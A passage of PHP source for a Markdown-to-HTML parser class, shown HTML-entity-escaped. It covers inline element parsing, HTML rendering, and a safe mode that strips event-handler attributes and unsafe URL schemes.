        $Block[&#039;element&#039;][&#039;handler&#039;][&#039;argument&#039;] .= &quot;\n&quot;.$Line[&#039;text&#039;];

        return $Block;
    }

    #
    # Inline Elements
    #

    protected $InlineTypes = array(
        &#039;!&#039; =&gt; array(&#039;Image&#039;),
        &#039;&amp;&#039; =&gt; array(&#039;SpecialCharacter&#039;),
        &#039;*&#039; =&gt; array(&#039;Emphasis&#039;),
        &#039;:&#039; =&gt; array(&#039;Url&#039;),
        &#039;&lt;&#039; =&gt; array(&#039;UrlTag&#039;, &#039;EmailTag&#039;, &#039;Markup&#039;),
        &#039;[&#039; =&gt; array(&#039;Link&#039;),
        &#039;_&#039; =&gt; array(&#039;Emphasis&#039;),
        &#039;`&#039; =&gt; array(&#039;Code&#039;),
        &#039;~&#039; =&gt; array(&#039;Strikethrough&#039;),
        &#039;\\&#039; =&gt; array(&#039;EscapeSequence&#039;),
    );

    # ~

    protected $inlineMarkerList = &#039;!*_&amp;[:&lt;`~\\&#039;;

    #
    # ~
    #

    public function line($text, $nonNestables = array())
    {
        return $this-&gt;elements($this-&gt;lineElements($text, $nonNestables));
    }

    protected function lineElements($text, $nonNestables = array())
    {
        # standardize line breaks
        $text = str_replace(array(&quot;\r\n&quot;, &quot;\r&quot;), &quot;\n&quot;, $text);

        $Elements = array();

        $nonNestables = (empty($nonNestables)
            ? array()
            : array_combine($nonNestables, $nonNestables)
        );

        # $excerpt is based on the first occurrence of a marker

        while ($excerpt = strpbrk($text, $this-&gt;inlineMarkerList))
        {
            $marker = $excerpt[0];

            $markerPosition = strlen($text) - strlen($excerpt);

            $Excerpt = array(&#039;text&#039; =&gt; $excerpt, &#039;context&#039; =&gt; $text);

            foreach ($this-&gt;InlineTypes[$marker] as $inlineType)
            {
                # check to see if the current inline type is nestable in the current context

                if (isset($nonNestables[$inlineType]))
                {
                    continue;
                }

                $Inline = $this-&gt;{&quot;inline$inlineType&quot;}($Excerpt);

                if ( ! isset($Inline))
                {
                    continue;
                }

                # makes sure that the inline belongs to &quot;our&quot; marker

                if (isset($Inline[&#039;position&#039;]) and $Inline[&#039;position&#039;] &gt; $markerPosition)
                {
                    continue;
                }

                # sets a default inline position

                if ( ! isset($Inline[&#039;position&#039;]))
                {
                    $Inline[&#039;position&#039;] = $markerPosition;
                }

                # cause the new element to &#039;inherit&#039; our non nestables


                $Inline[&#039;element&#039;][&#039;nonNestables&#039;] = isset($Inline[&#039;element&#039;][&#039;nonNestables&#039;])
                    ? array_merge($Inline[&#039;element&#039;][&#039;nonNestables&#039;], $nonNestables)
                    : $nonNestables
                ;

                # the text that comes before the inline
                $unmarkedText = substr($text, 0, $Inline[&#039;position&#039;]);

                # compile the unmarked text
                $InlineText = $this-&gt;inlineText($unmarkedText);
                $Elements[] = $InlineText[&#039;element&#039;];

                # compile the inline
                $Elements[] = $this-&gt;extractElement($Inline);

                # remove the examined text
                $text = substr($text, $Inline[&#039;position&#039;] + $Inline[&#039;extent&#039;]);

                continue 2;
            }

            # the marker does not belong to an inline

            $unmarkedText = substr($text, 0, $markerPosition + 1);

            $InlineText = $this-&gt;inlineText($unmarkedText);
            $Elements[] = $InlineText[&#039;element&#039;];

            $text = substr($text, $markerPosition + 1);
        }

        $InlineText = $this-&gt;inlineText($text);
        $Elements[] = $InlineText[&#039;element&#039;];

        foreach ($Elements as &amp;$Element)
        {
            if ( ! isset($Element[&#039;autobreak&#039;]))
            {
                $Element[&#039;autobreak&#039;] = false;
            }
        }

        return $Elements;
    }

    #
    # ~
    #

    protected function inlineText($text)
    {
        $Inline = array(
            &#039;extent&#039; =&gt; strlen($text),
            &#039;element&#039; =&gt; array(),
        );

        $Inline[&#039;element&#039;][&#039;elements&#039;] = self::pregReplaceElements(
            $this-&gt;breaksEnabled ? &#039;/[ ]*+\n/&#039; : &#039;/(?:[ ]*+\\\\|[ ]{2,}+)\n/&#039;,
            array(
                array(&#039;name&#039; =&gt; &#039;br&#039;),
                array(&#039;text&#039; =&gt; &quot;\n&quot;),
            ),
            $text
        );

        return $Inline;
    }

    protected function inlineCode($Excerpt)
    {
        $marker = $Excerpt[&#039;text&#039;][0];

        if (preg_match(&#039;/^([&#039;.$marker.&#039;]++)[ ]*+(.+?)[ ]*+(?&lt;![&#039;.$marker.&#039;])\1(?!&#039;.$marker.&#039;)/s&#039;, $Excerpt[&#039;text&#039;], $matches))
        {
            $text = $matches[2];
            $text = preg_replace(&#039;/[ ]*+\n/&#039;, &#039; &#039;, $text);

            return array(
                &#039;extent&#039; =&gt; strlen($matches[0]),
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; &#039;code&#039;,
                    &#039;text&#039; =&gt; $text,
                ),
            );
        }
    }

    protected function inlineEmailTag($Excerpt)
    {
        $hostnameLabel = &#039;[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?&#039;;

        $commonMarkEmail = &#039;[a-zA-Z0-9.!#$%&amp;\&#039;*+\/=?^_`{|}~-]++@&#039;
            . $hostnameLabel . &#039;(?:\.&#039; . $hostnameLabel . &#039;)*&#039;;

        if (strpos($Excerpt[&#039;text&#039;], &#039;&gt;&#039;) !== false
            and preg_match(&quot;/^&lt;((mailto:)?$commonMarkEmail)&gt;/i&quot;, $Excerpt[&#039;text&#039;], $matches)
        ){
            $url = $matches[1];

            if ( ! isset($matches[2]))
            {
                $url = &quot;mailto:$url&quot;;
            }

            return array(
                &#039;extent&#039; =&gt; strlen($matches[0]),
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; &#039;a&#039;,
                    &#039;text&#039; =&gt; $matches[1],
                    &#039;attributes&#039; =&gt; array(
                        &#039;href&#039; =&gt; $url,
                    ),
                ),
            );
        }
    }

    protected function inlineEmphasis($Excerpt)
    {
        if ( ! isset($Excerpt[&#039;text&#039;][1]))
        {
            return;
        }

        $marker = $Excerpt[&#039;text&#039;][0];

        if ($Excerpt[&#039;text&#039;][1] === $marker and preg_match($this-&gt;StrongRegex[$marker], $Excerpt[&#039;text&#039;], $matches))
        {
            $emphasis = &#039;strong&#039;;
        }
        elseif (preg_match($this-&gt;EmRegex[$marker], $Excerpt[&#039;text&#039;], $matches))
        {
            $emphasis = &#039;em&#039;;
        }
        else
        {
            return;
        }

        return array(
            &#039;extent&#039; =&gt; strlen($matches[0]),
            &#039;element&#039; =&gt; array(
                &#039;name&#039; =&gt; $emphasis,
                &#039;handler&#039; =&gt; array(
                    &#039;function&#039; =&gt; &#039;lineElements&#039;,
                    &#039;argument&#039; =&gt; $matches[1],
                    &#039;destination&#039; =&gt; &#039;elements&#039;,
                )
            ),
        );
    }

    protected function inlineEscapeSequence($Excerpt)
    {
        if (isset($Excerpt[&#039;text&#039;][1]) and in_array($Excerpt[&#039;text&#039;][1], $this-&gt;specialCharacters))
        {
            return array(
                &#039;element&#039; =&gt; array(&#039;rawHtml&#039; =&gt; $Excerpt[&#039;text&#039;][1]),
                &#039;extent&#039; =&gt; 2,
            );
        }
    }

    protected function inlineImage($Excerpt)
    {
        if ( ! isset($Excerpt[&#039;text&#039;][1]) or $Excerpt[&#039;text&#039;][1] !== &#039;[&#039;)
        {
            return;
        }

        $Excerpt[&#039;text&#039;]= substr($Excerpt[&#039;text&#039;], 1);

        $Link = $this-&gt;inlineLink($Excerpt);

        if ($Link === null)
        {
            return;
        }

        $Inline = array(
            &#039;extent&#039; =&gt; $Link[&#039;extent&#039;] + 1,
            &#039;element&#039; =&gt; array(
                &#039;name&#039; =&gt; &#039;img&#039;,
                &#039;attributes&#039; =&gt; array(
                    &#039;src&#039; =&gt; $Link[&#039;element&#039;][&#039;attributes&#039;][&#039;href&#039;],
                    &#039;alt&#039; =&gt; $Link[&#039;element&#039;][&#039;handler&#039;][&#039;argument&#039;],
                ),
                &#039;autobreak&#039; =&gt; true,
            ),
        );

        $Inline[&#039;element&#039;][&#039;attributes&#039;] += $Link[&#039;element&#039;][&#039;attributes&#039;];

        unset($Inline[&#039;element&#039;][&#039;attributes&#039;][&#039;href&#039;]);

        return $Inline;
    }

    protected function inlineLink($Excerpt)
    {
        $Element = array(
            &#039;name&#039; =&gt; &#039;a&#039;,
            &#039;handler&#039; =&gt; array(
                &#039;function&#039; =&gt; &#039;lineElements&#039;,
                &#039;argument&#039; =&gt; null,
                &#039;destination&#039; =&gt; &#039;elements&#039;,
            ),
            &#039;nonNestables&#039; =&gt; array(&#039;Url&#039;, &#039;Link&#039;),
            &#039;attributes&#039; =&gt; array(
                &#039;href&#039; =&gt; null,
                &#039;title&#039; =&gt; null,
            ),
        );

        $extent = 0;

        $remainder = $Excerpt[&#039;text&#039;];

        if (preg_match(&#039;/\[((?:[^][]++|(?R))*+)\]/&#039;, $remainder, $matches))
        {
            $Element[&#039;handler&#039;][&#039;argument&#039;] = $matches[1];

            $extent += strlen($matches[0]);

            $remainder = substr($remainder, $extent);
        }
        else
        {
            return;
        }

        if (preg_match(&#039;/^[(]\s*+((?:[^ ()]++|[(][^ )]+[)])++)(?:[ ]+(&quot;[^&quot;]*+&quot;|\&#039;[^\&#039;]*+\&#039;))?\s*+[)]/&#039;, $remainder, $matches))
        {
            $Element[&#039;attributes&#039;][&#039;href&#039;] = $matches[1];

            if (isset($matches[2]))
            {
                $Element[&#039;attributes&#039;][&#039;title&#039;] = substr($matches[2], 1, - 1);
            }

            $extent += strlen($matches[0]);
        }
        else
        {
            if (preg_match(&#039;/^\s*\[(.*?)\]/&#039;, $remainder, $matches))
            {
                $definition = strlen($matches[1]) ? $matches[1] : $Element[&#039;handler&#039;][&#039;argument&#039;];
                $definition = strtolower($definition);

                $extent += strlen($matches[0]);
            }
            else
            {
                $definition = strtolower($Element[&#039;handler&#039;][&#039;argument&#039;]);
            }

            if ( ! isset($this-&gt;DefinitionData[&#039;Reference&#039;][$definition]))
            {
                return;
            }

            $Definition = $this-&gt;DefinitionData[&#039;Reference&#039;][$definition];

            $Element[&#039;attributes&#039;][&#039;href&#039;] = $Definition[&#039;url&#039;];
            $Element[&#039;attributes&#039;][&#039;title&#039;] = $Definition[&#039;title&#039;];
        }

        return array(
            &#039;extent&#039; =&gt; $extent,
            &#039;element&#039; =&gt; $Element,
        );
    }

    protected function inlineMarkup($Excerpt)
    {
        if ($this-&gt;markupEscaped or $this-&gt;safeMode or strpos($Excerpt[&#039;text&#039;], &#039;&gt;&#039;) === false)
        {
            return;
        }

        if ($Excerpt[&#039;text&#039;][1] === &#039;/&#039; and preg_match(&#039;/^&lt;\/\w[\w-]*+[ ]*+&gt;/s&#039;, $Excerpt[&#039;text&#039;], $matches))
        {
            return array(
                &#039;element&#039; =&gt; array(&#039;rawHtml&#039; =&gt; $matches[0]),
                &#039;extent&#039; =&gt; strlen($matches[0]),
            );
        }

        if ($Excerpt[&#039;text&#039;][1] === &#039;!&#039; and preg_match(&#039;/^&lt;!---?[^&gt;-](?:-?+[^-])*--&gt;/s&#039;, $Excerpt[&#039;text&#039;], $matches))
        {
            return array(
                &#039;element&#039; =&gt; array(&#039;rawHtml&#039; =&gt; $matches[0]),
                &#039;extent&#039; =&gt; strlen($matches[0]),
            );
        }

        if ($Excerpt[&#039;text&#039;][1] !== &#039; &#039; and preg_match(&#039;/^&lt;\w[\w-]*+(?:[ ]*+&#039;.$this-&gt;regexHtmlAttribute.&#039;)*+[ ]*+\/?&gt;/s&#039;, $Excerpt[&#039;text&#039;], $matches))
        {
            return array(
                &#039;element&#039; =&gt; array(&#039;rawHtml&#039; =&gt; $matches[0]),
                &#039;extent&#039; =&gt; strlen($matches[0]),
            );
        }
    }

    protected function inlineSpecialCharacter($Excerpt)
    {
        if (substr($Excerpt[&#039;text&#039;], 1, 1) !== &#039; &#039; and strpos($Excerpt[&#039;text&#039;], &#039;;&#039;) !== false
            and preg_match(&#039;/^&amp;(#?+[0-9a-zA-Z]++);/&#039;, $Excerpt[&#039;text&#039;], $matches)
        ) {
            return array(
                &#039;element&#039; =&gt; array(&#039;rawHtml&#039; =&gt; &#039;&amp;&#039; . $matches[1] . &#039;;&#039;),
                &#039;extent&#039; =&gt; strlen($matches[0]),
            );
        }
    }

    protected function inlineStrikethrough($Excerpt)
    {
        if ( ! isset($Excerpt[&#039;text&#039;][1]))
        {
            return;
        }

        if ($Excerpt[&#039;text&#039;][1] === &#039;~&#039; and preg_match(&#039;/^~~(?=\S)(.+?)(?&lt;=\S)~~/&#039;, $Excerpt[&#039;text&#039;], $matches))
        {
            return array(
                &#039;extent&#039; =&gt; strlen($matches[0]),
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; &#039;del&#039;,
                    &#039;handler&#039; =&gt; array(
                        &#039;function&#039; =&gt; &#039;lineElements&#039;,
                        &#039;argument&#039; =&gt; $matches[1],
                        &#039;destination&#039; =&gt; &#039;elements&#039;,
                    )
                ),
            );
        }
    }

    protected function inlineUrl($Excerpt)
    {
        if ($this-&gt;urlsLinked !== true or ! isset($Excerpt[&#039;text&#039;][2]) or $Excerpt[&#039;text&#039;][2] !== &#039;/&#039;)
        {
            return;
        }

        if (strpos($Excerpt[&#039;context&#039;], &#039;http&#039;) !== false
            and preg_match(&#039;/\bhttps?+:[\/]{2}[^\s&lt;]+\b\/*+/ui&#039;, $Excerpt[&#039;context&#039;], $matches, PREG_OFFSET_CAPTURE)
        ) {
            $url = $matches[0][0];

            $Inline = array(
                &#039;extent&#039; =&gt; strlen($matches[0][0]),
                &#039;position&#039; =&gt; $matches[0][1],
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; &#039;a&#039;,
                    &#039;text&#039; =&gt; $url,
                    &#039;attributes&#039; =&gt; array(
                        &#039;href&#039; =&gt; $url,
                    ),
                ),
            );

            return $Inline;
        }
    }

    protected function inlineUrlTag($Excerpt)
    {
        if (strpos($Excerpt[&#039;text&#039;], &#039;&gt;&#039;) !== false and preg_match(&#039;/^&lt;(\w++:\/{2}[^ &gt;]++)&gt;/i&#039;, $Excerpt[&#039;text&#039;], $matches))
        {
            $url = $matches[1];

            return array(
                &#039;extent&#039; =&gt; strlen($matches[0]),
                &#039;element&#039; =&gt; array(
                    &#039;name&#039; =&gt; &#039;a&#039;,
                    &#039;text&#039; =&gt; $url,
                    &#039;attributes&#039; =&gt; array(
                        &#039;href&#039; =&gt; $url,
                    ),
                ),
            );
        }
    }

    # ~

    protected function unmarkedText($text)
    {
        $Inline = $this-&gt;inlineText($text);
        return $this-&gt;element($Inline[&#039;element&#039;]);
    }

    #
    # Handlers
    #

    protected function handle(array $Element)
    {
        if (isset($Element[&#039;handler&#039;]))
        {
            if (!isset($Element[&#039;nonNestables&#039;]))
            {
                $Element[&#039;nonNestables&#039;] = array();
            }

            if (is_string($Element[&#039;handler&#039;]))
            {
                $function = $Element[&#039;handler&#039;];
                $argument = $Element[&#039;text&#039;];
                unset($Element[&#039;text&#039;]);
                $destination = &#039;rawHtml&#039;;
            }
            else
            {
                $function = $Element[&#039;handler&#039;][&#039;function&#039;];
                $argument = $Element[&#039;handler&#039;][&#039;argument&#039;];
                $destination = $Element[&#039;handler&#039;][&#039;destination&#039;];
            }

            $Element[$destination] = $this-&gt;{$function}($argument, $Element[&#039;nonNestables&#039;]);

            if ($destination === &#039;handler&#039;)
            {
                $Element = $this-&gt;handle($Element);
            }

            unset($Element[&#039;handler&#039;]);
        }

        return $Element;
    }

    protected function handleElementRecursive(array $Element)
    {
        return $this-&gt;elementApplyRecursive(array($this, &#039;handle&#039;), $Element);
    }

    protected function handleElementsRecursive(array $Elements)
    {
        return $this-&gt;elementsApplyRecursive(array($this, &#039;handle&#039;), $Elements);
    }

    protected function elementApplyRecursive($closure, array $Element)
    {
        $Element = call_user_func($closure, $Element);

        if (isset($Element[&#039;elements&#039;]))
        {
            $Element[&#039;elements&#039;] = $this-&gt;elementsApplyRecursive($closure, $Element[&#039;elements&#039;]);
        }
        elseif (isset($Element[&#039;element&#039;]))
        {
            $Element[&#039;element&#039;] = $this-&gt;elementApplyRecursive($closure, $Element[&#039;element&#039;]);
        }

        return $Element;
    }

    protected function elementApplyRecursiveDepthFirst($closure, array $Element)
    {
        if (isset($Element[&#039;elements&#039;]))
        {
            $Element[&#039;elements&#039;] = $this-&gt;elementsApplyRecursiveDepthFirst($closure, $Element[&#039;elements&#039;]);
        }
        elseif (isset($Element[&#039;element&#039;]))
        {
            $Element[&#039;element&#039;] = $this-&gt;elementsApplyRecursiveDepthFirst($closure, $Element[&#039;element&#039;]);
        }

        $Element = call_user_func($closure, $Element);

        return $Element;
    }

    protected function elementsApplyRecursive($closure, array $Elements)
    {
        foreach ($Elements as &amp;$Element)
        {
            $Element = $this-&gt;elementApplyRecursive($closure, $Element);
        }

        return $Elements;
    }

    protected function elementsApplyRecursiveDepthFirst($closure, array $Elements)
    {
        foreach ($Elements as &amp;$Element)
        {
            $Element = $this-&gt;elementApplyRecursiveDepthFirst($closure, $Element);
        }

        return $Elements;
    }

    protected function element(array $Element)
    {
        if ($this-&gt;safeMode)
        {
            $Element = $this-&gt;sanitiseElement($Element);
        }

        # identity map if element has no handler
        $Element = $this-&gt;handle($Element);

        $hasName = isset($Element[&#039;name&#039;]);

        $markup = &#039;&#039;;

        if ($hasName)
        {
            $markup .= &#039;&lt;&#039; . $Element[&#039;name&#039;];

            if (isset($Element[&#039;attributes&#039;]))
            {
                foreach ($Element[&#039;attributes&#039;] as $name =&gt; $value)
                {
                    if ($value === null)
                    {
                        continue;
                    }

                    $markup .= &quot; $name=\&quot;&quot;.self::escape($value).&#039;&quot;&#039;;
                }
            }
        }

        $permitRawHtml = false;

        if (isset($Element[&#039;text&#039;]))
        {
            $text = $Element[&#039;text&#039;];
        }
        // very strongly consider an alternative if you&#039;re writing an
        // extension
        elseif (isset($Element[&#039;rawHtml&#039;]))
        {
            $text = $Element[&#039;rawHtml&#039;];

            $allowRawHtmlInSafeMode = isset($Element[&#039;allowRawHtmlInSafeMode&#039;]) &amp;&amp; $Element[&#039;allowRawHtmlInSafeMode&#039;];
            $permitRawHtml = !$this-&gt;safeMode || $allowRawHtmlInSafeMode;
        }

        $hasContent = isset($text) || isset($Element[&#039;element&#039;]) || isset($Element[&#039;elements&#039;]);

        if ($hasContent)
        {
            $markup .= $hasName ? &#039;&gt;&#039; : &#039;&#039;;

            if (isset($Element[&#039;elements&#039;]))
            {
                $markup .= $this-&gt;elements($Element[&#039;elements&#039;]);
            }
            elseif (isset($Element[&#039;element&#039;]))
            {
                $markup .= $this-&gt;element($Element[&#039;element&#039;]);
            }
            else
            {
                if (!$permitRawHtml)
                {
                    $markup .= self::escape($text, true);
                }
                else
                {
                    $markup .= $text;
                }
            }

            $markup .= $hasName ? &#039;&lt;/&#039; . $Element[&#039;name&#039;] . &#039;&gt;&#039; : &#039;&#039;;
        }
        elseif ($hasName)
        {
            $markup .= &#039; /&gt;&#039;;
        }

        return $markup;
    }

    protected function elements(array $Elements)
    {
        $markup = &#039;&#039;;

        $autoBreak = true;

        foreach ($Elements as $Element)
        {
            if (empty($Element))
            {
                continue;
            }

            $autoBreakNext = (isset($Element[&#039;autobreak&#039;])
                ? $Element[&#039;autobreak&#039;] : isset($Element[&#039;name&#039;])
            );
            // (autobreak === false) covers both sides of an element
            $autoBreak = !$autoBreak ? $autoBreak : $autoBreakNext;

            $markup .= ($autoBreak ? &quot;\n&quot; : &#039;&#039;) . $this-&gt;element($Element);
            $autoBreak = $autoBreakNext;
        }

        $markup .= $autoBreak ? &quot;\n&quot; : &#039;&#039;;

        return $markup;
    }

    # ~

    protected function li($lines)
    {
        $Elements = $this-&gt;linesElements($lines);

        if ( ! in_array(&#039;&#039;, $lines)
            and isset($Elements[0]) and isset($Elements[0][&#039;name&#039;])
            and $Elements[0][&#039;name&#039;] === &#039;p&#039;
        ) {
            unset($Elements[0][&#039;name&#039;]);
        }

        return $Elements;
    }

    #
    # AST Convenience
    #

    /**
     * Replace occurrences $regexp with $Elements in $text. Return an array of
     * elements representing the replacement.
     */
    protected static function pregReplaceElements($regexp, $Elements, $text)
    {
        $newElements = array();

        while (preg_match($regexp, $text, $matches, PREG_OFFSET_CAPTURE))
        {
            $offset = $matches[0][1];
            $before = substr($text, 0, $offset);
            $after = substr($text, $offset + strlen($matches[0][0]));

            $newElements[] = array(&#039;text&#039; =&gt; $before);

            foreach ($Elements as $Element)
            {
                $newElements[] = $Element;
            }

            $text = $after;
        }

        $newElements[] = array(&#039;text&#039; =&gt; $text);

        return $newElements;
    }

    #
    # Deprecated Methods
    #

    /**
     * @deprecated use text() instead
     */
    function parse($text)
    {
        $markup = $this-&gt;text($text);

        return $markup;
    }

    protected function sanitiseElement(array $Element)
    {
        static $goodAttribute = &#039;/^[a-zA-Z0-9][a-zA-Z0-9-_]*+$/&#039;;
        static $safeUrlNameToAtt  = array(
            &#039;a&#039;   =&gt; &#039;href&#039;,
            &#039;img&#039; =&gt; &#039;src&#039;,
        );

        if ( ! isset($Element[&#039;name&#039;]))
        {
            unset($Element[&#039;attributes&#039;]);
            return $Element;
        }

        if (isset($safeUrlNameToAtt[$Element[&#039;name&#039;]]))
        {
            $Element = $this-&gt;filterUnsafeUrlInAttribute($Element, $safeUrlNameToAtt[$Element[&#039;name&#039;]]);
        }

        if ( ! empty($Element[&#039;attributes&#039;]))
        {
            foreach ($Element[&#039;attributes&#039;] as $att =&gt; $val)
            {
                # filter out badly parsed attribute
                if ( ! preg_match($goodAttribute, $att))
                {
                    unset($Element[&#039;attributes&#039;][$att]);
                }
                # dump onevent attribute
                elseif (self::striAtStart($att, &#039;on&#039;))
                {
                    unset($Element[&#039;attributes&#039;][$att]);
                }
            }
        }

        return $Element;
    }

    protected function filterUnsafeUrlInAttribute(array $Element, $attribute)
    {
        foreach ($this-&gt;safeLinksWhitelist as $scheme)
        {
            if (self::striAtStart($Element[&#039;attributes&#039;][$attribute], $scheme))
            {
                return $Element;
            }
        }

        $Element[&#039;attributes&#039;][$attribute] = str_replace(&#039;:&#039;, &#039;%3A&#039;, $Element[&#039;attributes&#039;][$attribute]);

        return $Element;
    }

    #
    # Static Methods
    #

    protected static function escape($text, $allowQuotes = false)
    {
        return htmlspecialchars($text, $allowQuotes ? ENT_NOQUOTES : ENT_QUOTES, &#039;UTF-8&#039;);
    }

    protected static function striAtStart($string, $needle)
    {
        $len = strlen($needle);

        if ($len &gt; strlen($string))
        {
            return false;
        }
        else
        {
            return strtolower(substr($string, 0, $len)) === strtolower($needle);
        }
    }

    static function instance($name = &#039;default&#039;)
    {
        if (isset(self::$instances[$name]))
        {
            return self::$instances[$name];
        }

        $instance = new static();

        self::$instances[$name] = $instance;

        return $instance;
    }

    private static $instances = array();

    #
    # Fields
    #

    protected $DefinitionData;

    #
    # Read-Only

    protected $specialCharacters = array(
        &#039;\\&#039;, &#039;`&#039;, &#039;*&#039;, &#039;_&#039;, &#039;{&#039;, &#039;}&#039;, &#039;[&#039;, &#039;]&#039;, &#039;(&#039;, &#039;)&#039;, &#039;&gt;&#039;, &#039;#&#039;, &#039;+&#039;, &#039;-&#039;, &#039;.&#039;, &#039;!&#039;, &#039;|&#039;, &#039;~&#039;
    );

    protected $StrongRegex = array(
        &#039;*&#039; =&gt; &#039;/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*+[*])+?)[*]{2}(?![*])/s&#039;,
        &#039;_&#039; =&gt; &#039;/^__((?:\\\\_|[^_]|_[^_]*+_)+?)__(?!_)/us&#039;,
    );

    protected $EmRegex = array(
        &#039;*&#039; =&gt; &#039;/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s&#039;,
        &#039;_&#039; =&gt; &#039;/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us&#039;,
    );

    protected $regexHtmlAttribute = &#039;[a-zA-Z_:][\w:.-]*+(?:\s*+=\s*+(?:[^&quot;\&#039;=&lt;&gt;`\s]+|&quot;[^&quot;]*+&quot;|\&#039;[^\&#039;]*+\&#039;))?+&#039;;

    protected $voidElements = array(
        &#039;area&#039;, &#039;base&#039;, &#039;br&#039;, &#039;col&#039;, &#039;command&#039;, &#039;embed&#039;, &#039;hr&#039;, &#039;img&#039;, &#039;input&#039;, &#039;link&#039;, &#039;meta&#039;, &#039;param&#039;, &#039;source&#039;,
    );

    protected $textLevelElements = array(
        &#039;a&#039;, &#039;br&#039;, &#039;bdo&#039;, &#039;abbr&#039;, &#039;blink&#039;, &#039;nextid&#039;, &#039;acronym&#039;, &#039;basefont&#039;,
        &#039;b&#039;, &#039;em&#039;, &#039;big&#039;, &#039;cite&#039;, &#039;small&#039;, &#039;spacer&#039;, &#039;listing&#039;,
        &#039;i&#039;, &#039;rp&#039;, &#039;del&#039;, &#039;code&#039;,          &#039;strike&#039;, &#039;marquee&#039;,
        &#039;q&#039;, &#039;rt&#039;, &#039;ins&#039;, &#039;font&#039;,          &#039;strong&#039;,
        &#039;s&#039;, &#039;tt&#039;, &#039;kbd&#039;, &#039;mark&#039;,
        &#039;u&#039;, &#039;xm&#039;, &#039;sub&#039;, &#039;nobr&#039;,
                   &#039;sup&#039;, &#039;ruby&#039;,
                   &#039;var&#039;, &#039;span&#039;,
                   &#039;wbr&#039;, &#039;time&#039;,
    );
}
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